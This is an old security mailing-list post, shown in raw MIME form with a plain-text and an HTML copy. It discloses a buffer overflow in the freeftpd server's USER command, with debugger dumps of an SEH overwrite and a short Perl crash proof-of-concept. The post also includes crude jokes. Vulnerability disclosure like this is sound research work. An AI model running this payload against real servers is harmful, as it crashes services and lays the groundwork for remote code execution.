------=_Part_11637_1705406.1132135014851 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi, While drooling over my new Adriana Lima wallpaper, my tongue accidentally hit my keyboard and more than 1012 chars were sent to the login screen of m= y freeftpd server (which i use to backup my Adriana Lima pics). Guess what...the server crashed! Luckily I attach ollydbg to every process I have running and ths is what I found: ECX 50505050 EIP 77C460CB msvcrt.77C460CB Log data, item 0 Address=3D77C460CB Message=3DAccess violation when reading [50505050] 77C460CB 8B01 MOV EAX,DWORD PTR DS:[ECX] well, eip doesnt get overwritten, but SEH does: 0012B6CC 41414141 0012B6D0 42424242 0012B6D4 42424242 0012B6D8 43434343 Pointer to next SEH record 0012B6DC 47464544 SE handler EIP 47464544 Log data, item 0 Address=3D47464544 Message=3DAccess violation when executing [47464544] I leave the exploit coding as an exercise... enjoy sample crash code: #!/usr/bin/perl -w #freeftpd USER buffer overflow #barabas - 2005 use strict; use Net::FTP; my $user=3D"\x41"x1011; $user .=3D"\x44\x45\x46\x47";#overwrite SEH $user .=3D"\x50"x400; my $ftp =3D Net::FTP->new("127.0.0.1 ", Debug =3D> 1); $ftp->login("$user","whatevah"); ------=_Part_11637_1705406.1132135014851 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline
Hi,
 
While drooling over my new Adriana Lima wallpaper, my tongue accidenta= lly hit my keyboard and more than 1012 chars were sent to the login screen = of my freeftpd server (which i use to backup my Adriana Lima pics). Guess w= hat...the server crashed! Luckily I attach ollydbg to every process I have = running and ths is what I found:
 
ECX 50505050
 
EIP 77C460CB msvcrt.77C460CB
Log data, item 0
 Address=3D77= C460CB
 Message=3DAccess violation when reading [50505050]
 = ;
77C460CB   8B01       &nb= sp;     MOV EAX,DWORD PTR DS:[ECX]
 
well, eip doesnt get overwritten, but SEH does:
 

0012B6CC   41414141
0012B6D0   42424242
0012B6= D4   42424242
0012B6D8   43434343  Pointer to n= ext SEH record
0012B6DC   47464544  SE handler

EIP 47464544

 Log data, item 0
 Address=3D47464544
 Message=3DAc= cess violation when executing [47464544]

 I leave the exploit coding as an exercise...
 
enjoy
 
sample crash code:
 

#!/usr/bin/perl -w
#freeftpd USER buffer overflow
#barabas - 2005<= /p>

use strict;
use Net::FTP;
my $user=3D"\x41"x1011;
$us= er .=3D"\x44\x45\x46\x47";#overwrite SEH
$user .=3D"\x50&= quot;x400;

my $ftp =3D Net::FTP->new("127.0.0.= 1", Debug =3D> 1);
$ftp->login("$user","wh= atevah");


 

------=_Part_11637_1705406.1132135014851--